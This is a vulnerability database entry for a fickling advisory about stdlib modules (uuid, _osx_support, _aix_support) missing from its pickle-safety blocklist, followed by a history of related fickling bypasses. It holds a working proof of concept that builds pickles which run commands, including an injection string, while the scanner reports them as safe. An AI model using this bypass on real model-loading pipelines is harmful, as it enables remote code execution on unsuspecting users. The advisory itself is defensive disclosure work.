High

Fickling missing RCE-capable modules in UNSAFE_IMPORTS

Disclosed: 04.03.2026
Updated: 11.10.2026 12:19

Assessment

The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).

Original report

Summary

fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.

Affected Versions

fickling <= 0.1.8 (all versions)

Details

Missing Modules

fickling's UNSAFE_IMPORTS (86 modules) does not include:

Module	RCE Function	Internal Mechanism	Importable On
`uuid`	`_get_command_stdout(cmd, *args)`	`subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)`	All platforms
`_osx_support`	`_read_output(cmdstring)`	`os.system(cmd)` via temp file	All platforms
`_osx_support`	`_find_build_tool(toolname)`	Command injection via `%s` in `_read_output("/usr/bin/xcrun -find %s" % toolname)`	All platforms
`_aix_support`	`_read_cmd_output(cmdstring)`	`os.system(cmd)` via temp file	All platforms

Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

Why These Pass fickling

NonStandardImports: These are stdlib modules, so is_std_module() returns True → not flagged
UnsafeImports: Module names not in UNSAFE_IMPORTS → not flagged
OvertlyBadEvals: Function names added to likely_safe_imports (stdlib) → skipped
UnusedVariables: Defeated by BUILD opcode (purposely unhardend)

Proof of Concept (using fickling's opcode API)

python

from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b"\x95" + struct.pack("<Q", 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("uuid"),
    ShortBinUnicode("_get_command_stdout"),
    StackGlobal(),
    ShortBinUnicode("echo"),
    ShortBinUnicode("PROOF_OF_CONCEPT"),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_aix_support"),
    ShortBinUnicode("_read_cmd_output"),
    StackGlobal(),
    ShortBinUnicode("echo PROOF_OF_CONCEPT"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_osx_support"),
    ShortBinUnicode("_find_build_tool"),
    StackGlobal(),
    ShortBinUnicode("x; echo INJECTED #"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
    result = check_safety(p)
    print(f"{name}: severity={result.severity}, issues={len(result.results)}")
    # Output: severity=Severity.LIKELY_SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT

Verified Output

bash

$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT

Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

Suggested Fix

Add to UNSAFE_IMPORTS in fickling:

python

"uuid",
"_osx_support",
"_aix_support",

Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

Resources

Python source: Lib/uuid.py lines 156-168 (_get_command_stdout)
Python source: Lib/_osx_support.py lines 35-52 (_read_output), lines 54-68 (_find_build_tool)
Python source: Lib/_aix_support.py lines 14-30 (_read_cmd_output)
fickling source: analysis.py UNSAFE_IMPORTS set

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
Python (PyPI)	fickling	< 0.1.9	0.1.9

References

CVSS score -

CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE): CWE-184
Platform: Python (PyPI)
Package: fickling
Disclosed: 04.03.2026
Updated: 11.10.2026 12:19

Sources and licenses

OSV / GitHub Advisory Database - GHSA-5hwf-rc88-82xm - CC BY 4.0

Vulnerability history: fickling

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (16) in the archive

Total entries: 16
First → latest: 12.2025 07.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
High 11
Medium 3
Low 1

Disclosures per year

2025: 2
2026: 14

04.07.2026

In Trail of Bits fickling versions up to and including 0.1.11, the UnsafeImportsML analysis pass unconditionally calls AnalysisContext.shorten_code(node) on every import node it inspects, regardless o

Critical · 9.8 CVE-2026-14535 < 0.1.12 0.1.12
04.07.2026

Trail of Bits fickling versions up to and including 0.1.10 do not include the Python standard library modules _posixsubprocess, site, and atexit in the UNSAFE_IMPORTS denylist (fickle.py). Because the

High · 8.8 CVE-2026-14534 < 0.1.11 0.1.11
04.03.2026

Fickling missing RCE-capable modules in UNSAFE_IMPORTS this entry

High ghsa-5hwf-rc88-82xm < 0.1.9 0.1.9
04.03.2026

Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked

High ghsa-wccx-j62j-r448 < 0.1.9 0.1.9
24.02.2026

Fickling: OBJ opcode call invisibility bypasses all safety checks

High ghsa-mxhj-88fx-4pcv < 0.1.8 0.1.8
09.01.2026

Fickling vulnerable to detection bypass due to "builtins" blindness

High CVE-2026-22612 < 0.1.7 0.1.7
09.01.2026

Fickling has Static Analysis Bypass via Incomplete Dangerous Module Blocklist

High CVE-2026-22609 < 0.1.7 0.1.7
09.01.2026

Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection

High CVE-2026-22608 < 0.1.7 0.1.7
09.01.2026

Fickling Blocklist Bypass: cProfile.run()

High CVE-2026-22607 < 0.1.7 0.1.7
09.01.2026

Fickling has a bypass via runpy.run_path() and runpy.run_module()

High CVE-2026-22606 < 0.1.7 0.1.7
15.12.2025

Fickling has Code Injection vulnerability via pty.spawn()

High CVE-2025-67748 < 0.1.6 0.1.6
15.12.2025

Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list

High CVE-2025-67747 < 0.1.6 0.1.6

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application